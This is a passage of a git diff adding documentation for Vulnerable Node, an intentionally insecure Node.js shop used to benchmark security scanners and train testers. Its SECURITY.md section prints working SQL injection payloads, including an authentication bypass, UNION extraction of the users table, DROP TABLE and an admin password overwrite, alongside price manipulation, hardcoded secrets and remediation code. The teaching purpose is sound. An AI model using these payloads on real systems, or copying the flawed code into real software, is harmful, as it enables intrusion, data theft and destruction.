File?} + B -->|Yes| C[Serve from /public] + B -->|No| D[Parse Body] + D --> E[Parse Cookies] + E --> F[Load Session] + F --> G{Route Match?} + G -->|No| H[404 Handler] + G -->|Yes| I[Execute Handler] + I --> J{Auth Required?} + J -->|Yes| K{Logged In?} + K -->|No| L[Redirect to Login] + K -->|Yes| M[Business Logic] + J -->|No| M + M --> N[Database Operations] + N --> O[Render Template] + O --> P[HTTP Response] + + style C fill:#e8f5e9 + style H fill:#ffebee + style L fill:#fff3e0 + style N fill:#e1f5fe + style O fill:#f3e5f5 +``` + +## Session Management + +### Session Architecture + +```mermaid +graph LR + A[Client Request] --> B[Session Middleware] + B --> C{Session Cookie Exists?} + C -->|Yes| D[Load Session Data] + C -->|No| E[Create New Session] + D --> F[req.session Object] + E --> F + F --> G[Route Handler] + G --> H[Modify Session] + H --> I[Save Session] + I --> J[Set Cookie in Response] + J --> K[Send Response] +``` + +### Session Data Structure + +```javascript +req.session = { + logged: true, // Authentication state + user_name: "admin", // Current username + cookie: { + secure: false, // VULNERABLE: Not HTTPS-only + maxAge: 99999999999 // VULNERABLE: Excessive lifetime + } +} +``` + +## Database Design + +### Entity Relationship Diagram + +```mermaid +erDiagram + USERS ||--o{ PURCHASES : makes + PRODUCTS ||--o{ PURCHASES : contains + + USERS { + varchar name PK "Primary Key" + varchar password "Plain text VULNERABLE" + } + + PRODUCTS { + integer id PK "Primary Key" + varchar name + text description + integer price + varchar image + } + + PURCHASES { + serial id PK "Primary Key" + integer product_id FK + varchar product_name "Denormalized" + varchar user_name FK + varchar mail + varchar address + varchar phone + varchar ship_date + integer price "Client-controlled VULNERABLE" + } +``` + +### Database Access Patterns + +**Connection Strategy:** + +```javascript +// auth.js - New connection per request +function do_auth(username, password) { + var db = pgp(config.db.connectionString); // New connection + // ... use db +} + +// products.js - Persistent connection +var db = pgp(config.db.connectionString); // Module-level connection +// ... reuse db across functions +``` + +## Deployment Architecture + +### Docker Compose Deployment + +```mermaid +graph TB + subgraph "Docker Network" + A[Node.js Container
vulnerable-node:3000] + B[PostgreSQL Container
postgres_db:5432] + end + + C[Host Machine
Port 3000] --> A + A -.->|Connection String| B + + subgraph "Volumes" + D[./services/postgresql:/docker-entrypoint-initdb.d] + E[./app:/app] + end + + D -.-> B + E -.-> A + + style A fill:#bbdefb + style B fill:#c8e6c9 + style C fill:#fff9c4 +``` + +### Container Configuration + +**Application Container:** +```dockerfile +FROM node:12 +WORKDIR /app +COPY package.json . +RUN npm install +COPY . . +EXPOSE 3000 +CMD ["npm", "start"] +``` + +**Database Container:** +```yaml +postgres_db: + image: postgres + environment: + POSTGRES_PASSWORD: postgres + POSTGRES_DB: vulnerablenode + ports: + - "5432:5432" +``` + +### Environment Configurations + +```mermaid +graph LR + A[STAGE Environment Variable] --> B{Value?} + B -->|LOCAL| C[127.0.0.1] + B -->|DEVEL| D[10.211.55.70] + B -->|DOCKER| E[postgres_db] + B -->|default| D + + C --> F[Database Connection] + D --> F + E --> F +``` + +## Performance Considerations + +### Bottlenecks + +1. **Database Queries** - No connection pooling optimization +2. **Session Storage** - In-memory (not distributed) +3. **No Caching** - Every request hits database +4. **ReDoS Vulnerability** - Can cause CPU exhaustion + +### Scalability Limitations + +- **Single Process** - No clustering or load balancing +- **Session Affinity** - Sessions not shared across instances +- **No Read Replicas** - All queries hit primary database +- **Synchronous Processing** - Blocking I/O operations + +> [!NOTE] +> Performance optimization is not a priority for this intentionally vulnerable demonstration application. + +## Security Architecture + +### Attack Surface + +```mermaid +mindmap + root((Attack
Surface)) + Authentication + SQL Injection + Weak Credentials + Session Hijacking + Data Access + SQL Injection + IDOR + Price Manipulation + User Input + XSS + Log Injection + ReDoS + CSRF + No Token Validation + GET State Changes + Redirects + Open Redirect + Unvalidated URLs +``` + +### Security Controls + +| Control Type | Implementation | Effectiveness | +|--------------|----------------|---------------| +| Input Validation | ❌ None | N/A | +| Output Encoding | ⚠️ Partial (EJS auto-escape) | Limited | +| Authentication | ❌ Vulnerable | None | +| Authorization | ⚠️ Session-based only | Weak | +| CSRF Protection | ❌ None | N/A | +| SQL Injection Protection | ❌ None | N/A | +| XSS Protection | ⚠️ Template engine only | Limited | + +## Related Documentation + +- [SECURITY.md](./SECURITY.md) - Detailed vulnerability documentation +- [README.md](./README.md) - Project overview and setup +- [routes/README.md](./routes/README.md) - Route handler details +- [model/README.md](./model/README.md) - Data access layer details + +--- + +> [!IMPORTANT] +> This architecture is intentionally insecure for educational purposes. Do not use as a reference for production systems. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000..9941ff8e --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,379 @@ +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: Guidelines for contributing to the Vulnerable Node project +last_changed: 2025-11-05 +--- + +# Contributing to Vulnerable Node + +Thank you for your interest in contributing to Vulnerable Node! This document provides guidelines and instructions for contributing to the project. + +## Table of Contents + +- [Code of Conduct](#code-of-conduct) +- [How Can I Contribute?](#how-can-i-contribute) +- [Development Setup](#development-setup) +- [Contribution Guidelines](#contribution-guidelines) +- [Adding New Vulnerabilities](#adding-new-vulnerabilities) +- [Documentation Standards](#documentation-standards) +- [Testing](#testing) +- [Pull Request Process](#pull-request-process) + +## Code of Conduct + +This project follows a code of conduct to ensure a welcoming environment for all contributors: + +- **Be respectful** - Treat everyone with respect and consideration +- **Be collaborative** - Work together constructively +- **Be inclusive** - Welcome newcomers and diverse perspectives +- **Stay on topic** - Keep discussions relevant to the project +- **Report issues** - Contact maintainers if you observe inappropriate behavior + +## How Can I Contribute? + +### Reporting Bugs + +> [!NOTE] +> This project contains intentional vulnerabilities. Only report actual bugs in the infrastructure or documentation. + +**Before submitting a bug report:** +- Check if it's an intentional vulnerability (see [SECURITY.md](./SECURITY.md)) +- Search existing issues to avoid duplicates +- Collect relevant information (Node.js version, OS, error messages) + +**Submitting a bug report:** +1. Use the GitHub issue tracker +2. Provide a clear, descriptive title +3. Include steps to reproduce +4. Include actual vs. expected behavior +5. Add relevant logs or screenshots + +### Suggesting Enhancements + +Enhancement suggestions are welcome for: +- New vulnerability examples +- Improved documentation +- Better attack demonstrations +- Additional OWASP Top 10 coverage +- Enhanced educational value + +**Submitting enhancement suggestions:** +1. Check if the suggestion already exists in issues +2. Clearly describe the enhancement +3. Explain why it would be valuable +4. Include examples or mockups if applicable + +### Your First Code Contribution + +New to the project? Here are good first contributions: + +- **Documentation improvements** - Fix typos, clarify explanations +- **Attack examples** - Add exploitation demonstrations +- **Code comments** - Enhance inline documentation +- **Test cases** - Add validation for vulnerabilities +- **Docker improvements** - Enhance deployment + +## Development Setup + +### Prerequisites + +- Node.js 12.x or higher +- PostgreSQL 9.x or higher +- Git +- Docker and Docker Compose (optional) + +### Local Setup + +1. **Fork and clone the repository:** +```bash +git clone https://github.com/YOUR_USERNAME/vulnerable-node.git +cd vulnerable-node +``` + +2. **Install dependencies:** +```bash +npm install +``` + +3. **Start PostgreSQL:** +```bash +# Using Docker +docker-compose up -d postgres_db + +# Or manually +createdb vulnerablenode +``` + +4. **Configure environment:** +```bash +export STAGE=LOCAL +``` + +5. **Start the application:** +```bash +npm start +``` + +6. **Verify setup:** +```bash +curl http://localhost:3000/login +``` + +### Development Workflow + +```mermaid +flowchart LR + A[Fork Repository] --> B[Clone Locally] + B --> C[Create Feature Branch] + C --> D[Make Changes] + D --> E[Test Changes] + E --> F{Tests Pass?} + F -->|No| D + F -->|Yes| G[Commit Changes] + G --> H[Push to Fork] + H --> I[Create Pull Request] + I --> J[Code Review] + J --> K{Approved?} + K -->|No| D + K -->|Yes| L[Merge] +``` + +## Contribution Guidelines + +### Code Style + +- **JavaScript:** Follow existing code style +- **Indentation:** 4 spaces (not tabs) +- **Line length:** Maximum 120 characters +- **Comments:** Document intentional vulnerabilities clearly +- **Naming:** Use descriptive variable and function names + +### Commit Messages + +Use clear, descriptive commit messages: + +**Good examples:** +``` +Add SQL injection example for product search +Document XSS vulnerability in login error handler +Improve README installation instructions +``` + +**Bad examples:** +``` +Fix bug +Update code +Changes +``` + +### Branch Naming + +Use descriptive branch names: + +- `feature/add-nosql-injection` - New features +- `docs/improve-architecture` - Documentation +- `attack/csrf-example` - Attack demonstrations +- `fix/docker-compose-issue` - Bug fixes + +## Adding New Vulnerabilities + +### Vulnerability Requirements + +When adding new vulnerabilities: + +1. **Choose appropriate vulnerabilities** - Focus on OWASP Top 10 +2. **Real, not simulated** - Actual exploitable code +3. **Document thoroughly** - Inline comments and security docs +4. **Provide exploitation** - Include attack examples +5. **Maintain context** - Fit within e-commerce scenario + +### Vulnerability Documentation Template + +```javascript +/** + * [Function Name] + * + * [Brief description of functionality] + * + * @param {type} paramName - Parameter description + * @returns {type} - Return value description + * + * VULNERABILITY: [Vulnerability Type] (OWASP [Category]) + * [Detailed explanation of the vulnerability] + * + * Example attack: [Simple exploitation example] + */ +function vulnerableFunction(userInput) { + // VULNERABLE: [Brief explanation] + var query = "SELECT * FROM table WHERE field = '" + userInput + "'"; + return db.query(query); +} +``` + +### Adding Attack Examples + +Place attack scripts in `attacks/` directory: + +``` +attacks/ +├── new-vulnerability/ +│ ├── README.md # Exploitation guide +│ ├── exploit.sh # Automated exploit +│ └── payload.txt # Attack payloads +``` + +## Documentation Standards + +All documentation must follow these standards: + +### Frontmatter + +Every markdown file must include: + +```yaml +--- +author: [Your Name] +description: [Brief description] +last_changed: YYYY-MM-DD +--- +``` + +### Structure + +- **Single H1** - Only one `#` heading per document (title) +- **Sequential headings** - Don't skip levels (H1 → H2 → H3) +- **Table of contents** - Include if 3+ major sections +- **Empty lines** - After headings and before content blocks + +### Content Guidelines + +- **Be concise** - Clear and to the point +- **Use examples** - Code snippets and demonstrations +- **Add diagrams** - Mermaid diagrams for visualizations +- **GitHub alerts** - Use for important notes + +```markdown +> [!NOTE] +> Supplementary information + +> [!WARNING] +> Important warning + +> [!CAUTION] +> Dangerous operations +``` + +### Code Blocks + +Always specify language for syntax highlighting: + +````markdown +```javascript +// JavaScript code +``` + +```bash +# Bash commands +``` +```` + +## Testing + +### Manual Testing + +Before submitting: + +1. **Start the application:** +```bash +npm start +``` + +2. **Test basic functionality:** +```bash +# Login +curl -X POST http://localhost:3000/login/auth -d "username=admin&password=admin" + +# Browse products +curl http://localhost:3000/ + +# Search +curl "http://localhost:3000/products/search?q=phone" +``` + +3. **Verify vulnerabilities work:** +```bash +# Test SQL injection +curl -X POST http://localhost:3000/login/auth -d "username=admin'--&password=anything" +``` + +### Attack Testing + +Test all attack examples: + +```bash +cd attacks/ +./your-new-attack.sh +``` + +## Pull Request Process + +### Before Submitting + +- [ ] Code follows project style guidelines +- [ ] Vulnerabilities are documented with inline comments +- [ ] Documentation updated (README, SECURITY.md, etc.) +- [ ] Attack examples provided and tested +- [ ] Manual testing completed +- [ ] Commit messages are clear and descriptive + +### Submitting Pull Request + +1. **Push to your fork:** +```bash +git push origin feature/your-feature-name +``` + +2. **Create pull request on GitHub** + +3. **Fill out PR template:** + - Describe changes made + - Reference related issues + - List testing performed + - Include screenshots if applicable + +4. **Wait for review:** + - Respond to feedback + - Make requested changes + - Update documentation as needed + +### Review Process + +Pull requests will be reviewed for: + +- **Code quality** - Follows project standards +- **Documentation** - Clear and complete +- **Vulnerability authenticity** - Real, not simulated +- **Educational value** - Helps security learning +- **Testing** - Works as described + +## Recognition + +Contributors will be recognized: + +- Listed in project contributors +- Credited in documentation +- Mentioned in release notes (for significant contributions) + +## Questions? + +- **GitHub Issues** - For bugs and feature requests +- **Discussions** - For questions and general discussion +- **Email** - Contact maintainers for private inquiries + +## License + +By contributing, you agree that your contributions will be licensed under the same BSD license that covers the project. + +--- + +Thank you for contributing to Vulnerable Node! Your efforts help improve security education and testing tools for everyone. diff --git a/README.md b/README.md index 14552029..2964a710 100644 --- a/README.md +++ b/README.md @@ -1,41 +1,92 @@ -Vulnerable Node -=============== +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: A deliberately vulnerable Node.js web application for security testing and training purposes +last_changed: 2025-11-05 +--- + +# Vulnerable Node ![Logo](https://raw.githubusercontent.com/cr0hn/vulnerable-node/master/images/logo-small.png) -*Vulnerable Node: A very vulnerable web site written in NodeJS* +*A deliberately vulnerable web application written in Node.js for security testing and training* + +| Property | Value | +|----------|-------| +| Codename | PsEA | +| Version | 1.0 | +| Code | https://github.com/cr0hn/vulnerable-node | +| Issues | https://github.com/cr0hn/vulnerable-node/issues/ | +| Author | Daniel Garcia (cr0hn) - @ggdaniel | + +> [!CAUTION] +> This application contains intentional security vulnerabilities and should **NEVER** be deployed in a production environment or exposed to the public internet. + +## Table of Contents -Codename | PsEA --------- | ---- -Version | 1.0 -Code | https://github.com/cr0hn/vulnerable-node -Issues | https://github.com/cr0hn/vulnerable-node/issues/ -Author | Daniel Garcia (cr0hn) - @ggdaniel +- [What is Vulnerable Node?](#what-is-vulnerable-node) +- [Why This Project?](#why-this-project) +- [Key Features](#key-features) +- [Installation](#installation) + - [Using Docker Compose (Recommended)](#using-docker-compose-recommended) + - [Manual Installation](#manual-installation) +- [Usage](#usage) + - [Default Credentials](#default-credentials) + - [Application Screenshots](#application-screenshots) +- [Vulnerabilities](#vulnerabilities) + - [OWASP Top 10 Coverage](#owasp-top-10-coverage) + - [Detailed Vulnerability List](#detailed-vulnerability-list) +- [Project Structure](#project-structure) +- [Documentation](#documentation) +- [Attack Examples](#attack-examples) +- [References](#references) +- [Contributing](#contributing) +- [Support](#support) +- [License](#license) -# Support this project +--- -Support this project (to solve issues, new features...) by applying the Github "Sponsor" button. +## Support This Project -# What's this project? +Support this project (to solve issues, new features, etc.) by using the GitHub "Sponsor" button. -The goal of this project is to be a project with really vulnerable code in NodeJS, not simulated. +## What is Vulnerable Node? -## Why? +Vulnerable Node is a deliberately insecure e-commerce web application built with Node.js and Express. Unlike simulated vulnerability demonstrations, this project contains **real, exploitable vulnerabilities** in production-quality code. -Similar project, like OWASP Node Goat, are pretty and useful for learning process but not for a real researcher or studding vulnerabilities in source code, because their code is not really vulnerable but simulated. +The application simulates a small online shop where users can: +- Browse and search products +- View product details +- Purchase items +- View purchase history -This project was created with the **purpose of have a project with identified vulnerabilities in source code with the finality of can measure the quality of security analyzers tools**. +## Why This Project? -Although not its main objective, this project also can be useful for: +Similar projects, like OWASP NodeGoat, are useful for learning but often use simulated vulnerabilities that don't reflect real-world code patterns. **Vulnerable Node was created to fill this gap.** -- Pentesting training. -- Teaching: learn how NOT programming in NodeJS. +### Primary Purpose -The purpose of project is to provide a real app to test the quality of security source code analyzers in white box processing. +**Measure the quality of security analysis tools** - This project provides a benchmark for testing: +- Static Application Security Testing (SAST) tools +- Software Composition Analysis (SCA) scanners +- Code review automation tools +- Security linters and IDE integrations -## How? +### Secondary Uses -This project simulates a real (and very little) shop site that has identifiable sources points of common vulnerabilities. +Although not the main objective, this project is also valuable for: + +- **Penetration Testing Training** - Practice exploiting real vulnerabilities in a safe environment +- **Secure Coding Education** - Learn how **NOT** to program in Node.js by studying anti-patterns +- **Security Awareness** - Demonstrate the impact of common coding mistakes + +## Key Features + +✅ **Real vulnerabilities** - Not simulated, actual exploitable security flaws +✅ **OWASP Top 10 coverage** - Includes most common web application vulnerabilities +✅ **Documented code** - Each vulnerability is clearly commented in the source +✅ **Attack examples** - Includes scripts demonstrating exploitation +✅ **Easy deployment** - Docker Compose for quick setup +✅ **PostgreSQL backend** - Real database with SQL injection vulnerabilities ## Installation @@ -56,51 +107,233 @@ Step 3 : ADD init.sql /docker-entrypoint-initdb.d/ .... ``` -## Running +## Usage -Once docker compose was finished, we can open a browser and type the URL: `127.0.0.1:3000` (or the IP where you deployed the project): +Once the application is running, open your browser and navigate to: -![Login screen](https://raw.githubusercontent.com/cr0hn/vulnerable-node/master/images/login.jpg) +``` +http://127.0.0.1:3000 +``` + +(Or the IP address where you deployed the application) + +### Default Credentials -To access to website you can use displayed in landing page: +> [!WARNING] +> These credentials are intentionally weak for demonstration purposes. -- admin : admin -- roberto : asdfpiuw981 +| Username | Password | Role | +|----------|----------|------| +| admin | admin | Administrator | +| roberto | asdfpiuw981 | Regular User | + +### Application Screenshots + +**Login Screen:** + +![Login screen](https://raw.githubusercontent.com/cr0hn/vulnerable-node/master/images/login.jpg) -Here some images of site: +**Product Catalog:** ![home screen](https://raw.githubusercontent.com/cr0hn/vulnerable-node/master/images/home.jpg) +**Shopping Interface:** + ![shopping](https://raw.githubusercontent.com/cr0hn/vulnerable-node/master/images/shop.jpg) +**Purchase History:** + ![purchased products](https://raw.githubusercontent.com/cr0hn/vulnerable-node/master/images/purchased.jpg) -# Vulnerabilities +## Vulnerabilities + +This project implements vulnerabilities from the [OWASP Top 10](https://owasp.org/www-project-top-ten/) for security testing and training. + +### OWASP Top 10 Coverage + +| OWASP Category | Status | Examples | +|----------------|--------|----------| +| **A1 - Injection** | ✅ Implemented | SQL injection in authentication, search, product queries | +| **A2 - Broken Authentication** | ✅ Implemented | Weak passwords, insecure session management | +| **A3 - Cross-Site Scripting (XSS)** | ✅ Implemented | Unsanitized error messages in login | +| **A4 - Insecure Direct Object References** | ✅ Implemented | Price manipulation, direct product ID access | +| **A5 - Security Misconfiguration** | ✅ Implemented | ReDoS in email validation, hardcoded secrets | +| **A6 - Sensitive Data Exposure** | ✅ Implemented | Database errors exposed to users, verbose logging | +| **A7 - Missing Function Level Access Control** | ⚠️ Partial | Session-based access only | +| **A8 - Cross-Site Request Forgery (CSRF)** | ✅ Implemented | No CSRF tokens on purchase endpoint | +| **A9 - Using Components with Known Vulnerabilities** | ⚠️ Variable | Depends on npm dependencies at build time | +| **A10 - Unvalidated Redirects and Forwards** | ✅ Implemented | Open redirect in returnurl parameter | + +### Detailed Vulnerability List + +> [!IMPORTANT] +> Each vulnerability is documented with inline comments in the source code. Look for `VULNERABILITY:` or `VULNERABLE:` markers. + +#### SQL Injection (A1) + +**Location:** `model/auth.js`, `model/products.js` + +- Authentication bypass: `' OR '1'='1' --` +- Product search manipulation +- Purchase data injection +- User purchase history access + +**Example:** +```javascript +// Vulnerable code in model/auth.js +var q = "SELECT * FROM users WHERE name = '" + username + "' AND password ='" + password + "';"; +``` + +#### Broken Authentication (A2) + +**Location:** `app.js`, `dummy.js` + +- Hardcoded session secret +- Weak default credentials (admin/admin) +- Insecure session cookies (not HTTPS-only) +- Extremely long session lifetime + +#### Cross-Site Scripting - XSS (A3) + +**Location:** `routes/login.js` + +- Error parameter rendered without escaping +- Potential reflected XSS via error messages + +#### Insecure Direct Object References (A4) + +**Location:** `routes/products.js` + +- Client-controlled product pricing +- Direct access to product IDs without authorization +- No verification that users own their purchase history + +#### Security Misconfiguration (A5) + +**Location:** `routes/products.js`, `config.js` + +- ReDoS (Regular Expression DoS) in email validation +- Hardcoded database credentials +- Development error handlers expose stack traces + +#### Sensitive Data Exposure (A6) + +**Location:** `routes/login.js`, `app.js` + +- Database error messages shown to users +- Detailed stack traces in development mode +- Unsanitized user input logged (log injection) + +#### CSRF - Cross-Site Request Forgery (A8) + +**Location:** `routes/products.js` + +- Purchase endpoint accepts GET requests +- No CSRF token validation +- State-changing operations without protection + +#### Unvalidated Redirects (A10) + +**Location:** `routes/login.js`, `routes/login_check.js` + +- `returnurl` parameter not validated +- Potential open redirect to external malicious sites + +For more detailed information about each vulnerability with code examples and exploitation techniques, see [SECURITY.md](./SECURITY.md). + +## Project Structure + +``` +vulnerable-node/ +├── app.js # Main application entry point +├── config.js # Environment configuration +├── dummy.js # Test data (users and products) +├── package.json # Node.js dependencies +├── docker-compose.yml # Docker deployment config +├── Dockerfile # Application container +│ +├── bin/ +│ └── www # Application startup script +│ +├── model/ # Data access layer +│ ├── auth.js # Authentication (SQL injection vulnerability) +│ ├── products.js # Product operations (SQL injection vulnerabilities) +│ └── init_db.js # Database initialization +│ +├── routes/ # HTTP route handlers +│ ├── login.js # Authentication routes +│ ├── login_check.js # Session validation middleware +│ └── products.js # Product routes +│ +├── views/ # EJS templates +│ ├── login.ejs +│ ├── products.ejs +│ ├── product_detail.ejs +│ ├── search.ejs +│ └── bought_products.ejs +│ +├── public/ # Static assets +│ ├── css/ # Stylesheets +│ ├── js/ # Client-side JavaScript +│ ├── images/ # Product images +│ └── fonts/ # Web fonts +│ +├── attacks/ # Example attack scripts +│ ├── sqli/ # SQL injection examples +│ ├── csrf/ # CSRF attack examples +│ └── evil_regex/ # ReDoS demonstrations +│ +└── services/ # Supporting services + └── postgresql/ # Database configuration +``` + +## Documentation + +- **[SECURITY.md](./SECURITY.md)** - Detailed vulnerability documentation with exploitation examples +- **[ARCHITECTURE.md](./ARCHITECTURE.md)** - Application architecture and design overview +- **[CONTRIBUTING.md](./CONTRIBUTING.md)** - Development and contribution guidelines +- **[routes/README.md](./routes/README.md)** - Route handler documentation +- **[model/README.md](./model/README.md)** - Data access layer documentation +- **[attacks/README.md](./attacks/README.md)** - Attack script documentation + +## Attack Examples + +The `attacks/` directory contains proof-of-concept scripts demonstrating various exploits: + +- **SQL Injection** - Bypass authentication, extract data, modify database +- **CSRF** - Forge purchase requests from victim browsers +- **Log Injection** - Inject malicious entries into application logs +- **ReDoS** - Trigger denial of service via regex + +> [!NOTE] +> These scripts are for educational purposes only. Use them only in controlled testing environments. + +## References + +This project was inspired by and draws upon the following resources: -## Vulnerability list: +- [OWASP Top 10](https://owasp.org/www-project-top-ten/) - Web application security risks +- [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/) - Best practices +- [safe-regex](https://github.com/substack/safe-regex) - ReDoS detection +- [OWASP NodeGoat](https://github.com/OWASP/NodeGoat) - Similar vulnerable application project -This project has the most common vulnerabilities of `OWASP Top 10 `: +## Contributing -- A1 - Injection -- A2 - Broken Authentication and Session Management -- A3 - Cross-Site Scripting (XSS) -- A4 - Insecure Direct Object References -- A5 - Security Misconfiguration -- A6 - Sensitive Data Exposure -- A8 - Cross-Site Request Forgery (CSRF) -- A10 - Unvalidated Redirects and Forwards +Contributions are welcome! Whether you want to: -## Vulnerability code location +- Add new vulnerability examples +- Improve documentation +- Fix bugs (that aren't intentional vulnerabilities) +- Add new attack demonstrations -The exactly code location of each vulnerability is pending to write +Please see [CONTRIBUTING.md](./CONTRIBUTING.md) for guidelines. -# References +## License -I took ideas and how to explode it in NodeJS using these references: +This project is released under the **BSD License**. -- https://blog.risingstack.com/node-js-security-checklist/ -- https://github.com/substack/safe-regex +See [LICENSE](./LICENSE) for full details. -# License +--- -This project is released under license BSD. +**Remember:** This application is for security testing and education only. Never deploy it in production or expose it to the internet! diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 00000000..ee861916 --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,555 @@ +--- +author: Daniel Garcia (cr0hn) - @ggdaniel +description: Comprehensive security vulnerability documentation for Vulnerable Node +last_changed: 2025-11-05 +--- + +# Security Vulnerabilities + +This document provides detailed information about all security vulnerabilities intentionally present in the Vulnerable Node application. + +## Table of Contents + +- [Vulnerability Summary](#vulnerability-summary) +- [A1 - SQL Injection](#a1---sql-injection) +- [A2 - Broken Authentication](#a2---broken-authentication) +- [A3 - Cross-Site Scripting (XSS)](#a3---cross-site-scripting-xss) +- [A4 - Insecure Direct Object References](#a4---insecure-direct-object-references) +- [A5 - Security Misconfiguration](#a5---security-misconfiguration) +- [A6 - Sensitive Data Exposure](#a6---sensitive-data-exposure) +- [A8 - Cross-Site Request Forgery (CSRF)](#a8---cross-site-request-forgery-csrf) +- [A10 - Unvalidated Redirects](#a10---unvalidated-redirects) +- [Remediation Guide](#remediation-guide) + +> [!CAUTION] +> This application is intentionally vulnerable. These are NOT bugs to be fixed - they are features for security testing. + +## Vulnerability Summary + +| ID | Category | Severity | Exploitability | Locations | +|----|----------|----------|----------------|-----------| +| V-001 | SQL Injection | **Critical** | Easy | auth.js, products.js (5 functions) | +| V-002 | Weak Credentials | **High** | Easy | dummy.js | +| V-003 | Insecure Session | **High** | Medium | app.js | +| V-004 | Plain Text Passwords | **Critical** | Easy | Database schema | +| V-005 | XSS | **Medium** | Easy | login.js | +| V-006 | Price Manipulation | **High** | Easy | products.js | +| V-007 | ReDoS | **High** | Medium | products.js | +| V-008 | Hardcoded Secrets | **High** | Easy | app.js, config.js | +| V-009 | Info Disclosure | **Medium** | Easy | login.js, app.js | +| V-010 | Log Injection | **Medium** | Easy | login.js | +| V-011 | CSRF | **High** | Medium | products.js | +| V-012 | Open Redirect | **Medium** | Easy | login.js, login_check.js | + +## A1 - SQL Injection + +### V-001: Multiple SQL Injection Vulnerabilities + +**CVSS Score:** 9.8 (Critical) + +**Description:** User input is directly concatenated into SQL queries without parameterization, sanitization, or validation. + +**Affected Components:** + +#### 1. Authentication Bypass + +**Location:** `model/auth.js:7` + +```javascript +// VULNERABLE CODE +function do_auth(username, password) { + var q = "SELECT * FROM users WHERE name = '" + username + + "' AND password ='" + password + "';"; + return db.one(q); +} +``` + +**Exploitation:** + +```bash +# Bypass authentication +POST /login/auth +username=admin' -- +password=anything + +# Generated query: SELECT * FROM users WHERE name = 'admin' --' AND password ='anything'; +# The -- comments out the password check +``` + +**Impact:** Complete authentication bypass, unauthorized access as any user + +--- + +#### 2. Product Detail Injection + +**Location:** `model/products.js:14` + +```javascript +// VULNERABLE CODE +function getProduct(product_id) { + var q = "SELECT * FROM products WHERE id = '" + product_id + "';"; + return db.one(q); +} +``` + +**Exploitation:** + +```bash +# Extract all products +GET /products/detail?id=1' OR '1'='1 + +# Extract user data +GET /products/detail?id=1' UNION SELECT name, password, null, null, null FROM users -- +``` + +**Impact:** Data disclosure, unauthorized data access + +--- + +#### 3. Product Search Injection + +**Location:** `model/products.js:21` + +```javascript +// VULNERABLE CODE +function search(query) { + var q = "SELECT * FROM products WHERE name ILIKE '%" + query + + "%' OR description ILIKE '%" + query + "%';"; + return db.many(q); +} +``` + +**Exploitation:** + +```bash +# Extract user credentials +GET /products/search?q='; SELECT name, password FROM users; -- + +# Drop tables (destructive) +GET /products/search?q='; DROP TABLE products CASCADE; -- + +# Time-based blind injection +GET /products/search?q='; SELECT pg_sleep(10); -- +``` + +**Impact:** Full database compromise, data extraction, data manipulation, denial of service + +--- + +#### 4. Purchase Data Injection + +**Location:** `model/products.js:28-38` + +```javascript +// VULNERABLE CODE +function purchase(cart) { + var q = "INSERT INTO purchases(...) VALUES('" + + cart.mail + "', '" + + cart.product_name + "', '" + + cart.username + "', '" + + cart.product_id + "', '" + + cart.address + "', '" + + cart.ship_date + "', '" + + cart.phone + "', '" + + cart.price + "');"; + return db.one(q); +} +``` + +**Exploitation:** + +```bash +# Modify other data +POST /products/buy +mail=test@test.com'); UPDATE users SET password='hacked' WHERE name='admin'; -- +``` + +**Impact:** Data manipulation, privilege escalation + +--- + +#### 5. Purchase History Injection + +**Location:** `model/products.js:46` + +```javascript +// VULNERABLE CODE +function get_purcharsed(username) { + var q = "SELECT * FROM purchases WHERE user_name = '" + username + "';"; + return db.many(q); +} +``` + +**Exploitation:** + +```bash +# View all purchases +GET /products/purchased +(with session.user_name modified to: ' OR '1'='1) +``` + +**Impact:** Privacy violation, PII disclosure + +### Remediation + +Use parameterized queries: + +```javascript +// SECURE EXAMPLE +function do_auth(username, password) { + var q = "SELECT * FROM users WHERE name = $1 AND password = $2"; + return db.one(q, [username, password]); +} +``` + +## A2 - Broken Authentication + +### V-002: Weak Default Credentials + +**CVSS Score:** 8.1 (High) + +**Location:** `dummy.js:5-14` + +```javascript +"users": [ + { + "username": "admin", + "password": "admin" // VULNERABLE: Trivial password + } +] +``` + +**Impact:** Unauthorized administrative access + +**Remediation:** Enforce strong password policies, no default credentials + +--- + +### V-003: Insecure Session Configuration + +**CVSS Score:** 7.5 (High) + +**Location:** `app.js:43-49` + +```javascript +app.use(session({ + secret: 'ñasddfilhpaf78h78032h780g780fg780asg780dsbovncubuyvqy', // Hardcoded + cookie: { + secure: false, // Not HTTPS-only + maxAge: 99999999999 // Extremely long lifetime + } +})); +``` + +**Issues:** +- Hardcoded session secret +- Cookies not restricted to HTTPS +- Excessive session lifetime (3,171 years!) + +**Impact:** Session hijacking, session fixation + +**Remediation:** +```javascript +app.use(session({ + secret: process.env.SESSION_SECRET, // From environment + cookie: { + secure: true, // HTTPS only + httpOnly: true, // No JavaScript access + maxAge: 3600000 // 1 hour + } +})); +``` + +--- + +### V-004: Plain Text Password Storage + +**CVSS Score:** 9.1 (Critical) + +**Location:** Database schema, `model/init_db.js:15` + +```sql +CREATE TABLE users(name VARCHAR(100) PRIMARY KEY, password VARCHAR(50)); +``` + +**Impact:** Complete credential compromise if database is breached + +**Remediation:** Use bcrypt or argon2 for password hashing: + +```javascript +const bcrypt = require('bcrypt'); +const hash = await bcrypt.hash(password, 10); +``` + +## A3 - Cross-Site Scripting (XSS) + +### V-005: Reflected XSS in Error Messages + +**CVSS Score:** 6.1 (Medium) + +**Location:** `routes/login.js:14` + +```javascript +router.get('/login', function(req, res, next) { + var url_params = url.parse(req.url, true).query; + res.render('login', { + returnurl: url_params.returnurl, + auth_error: url_params.error // VULNERABLE: Unsanitized + }); +}); +``` + +**Exploitation:** + +``` +http://localhost:3000/login?error= +``` + +**Impact:** Cookie theft, session hijacking, phishing + +**Remediation:** Escape output in templates, use Content Security Policy + +## A4 - Insecure Direct Object References + +### V-006: Client-Controlled Pricing + +**CVSS Score:** 8.2 (High) + +**Location:** `routes/products.js:116` + +```javascript +cart = { + // ... + price: params.price.substr(0, params.price.length - 1) // From client! +} +``` + +**Exploitation:** + +```bash +# Buy expensive item for 1€ +POST /products/buy +price=1€ +product_id=100 # $999 item +``` + +**Impact:** Financial loss, business logic bypass + +**Remediation:** Look up price from database: + +```javascript +const product = await db.one('SELECT 